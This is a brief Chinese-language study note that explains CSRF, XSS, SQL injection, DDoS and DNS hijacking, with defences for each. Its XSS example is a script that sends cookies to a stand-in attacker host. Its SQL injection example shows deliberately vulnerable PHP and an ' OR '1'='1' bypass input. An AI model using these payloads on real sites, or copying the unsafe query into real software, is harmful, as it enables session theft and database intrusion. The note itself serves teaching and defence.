网络安全
CSRF
CSRF是一种网络安全攻击方式。攻击者通过获取用户在应用程序中已经验证过的信息,来模拟用户行为执行非法操作。
防御方法:
- 引入随机令牌,每次请求必须带上随机令牌。如果请求没有带上有效的随机令牌,服务端将拒绝执行请求。
- 随机令牌可以引入混淆代码等功能。
XSS
XSS是一种常见的网络安全攻击方式。攻击者通过注入恶意脚本到指定网站上,诱导用户点击触发攻击脚本。
一般常用于在带有用户输入的web应用程序中,攻击者通过不正确的处理用户输入漏洞,来达到注入恶意脚本的目的。
举例说明:
攻击者提交的评论
<script>
// 恶意脚本:窃取用户 cookie 并发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
防御方法:
- 对用户输入进行合法校验。包括字符校验和格式校验。
- 对程序输出进行合理转义,避免动态脚本执行。
SQL注入
SQL注入是一种网络安全攻击方式。攻击者通过在应用程序输入中注入恶意的SQL代码,从而影响数据库的正常执行。
举例说明:
// PHP 后端代码
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($sql);
// 用户输入
' OR '1'='1'; --
// 最终结果会使查询返回所有用户,因为条件 '1'='1' 总是为真,注释符 -- 会注释掉原始查询的剩余部分。
SELECT * FROM users WHERE username='' OR '1'='1'; --' AND password='';
防御方法:
- 对用户输入进行合法校验。包括特殊字符和格式校验。
- 参数化查询,避免直接使用
DDoS
DDoS也叫分布式拒绝服务攻击。攻击者通过占大量请求占用目标服务器资源,使其无法响应正常的请求。
防御方法:
- 流量过滤与清洗,包括IP封禁
DNS劫持
攻击者通过劫持或者篡改DNS请求,将用户重定向到恶意站点。
举例说明:
- DNS劫持:通过入侵或者篡改DNS服务器,将合法域名隐射到恶意IP地址
- DNS DDoS:攻击者通过发生大量恶意的DNS查询请求,超过目标服务器处理能力,从而导致服务中断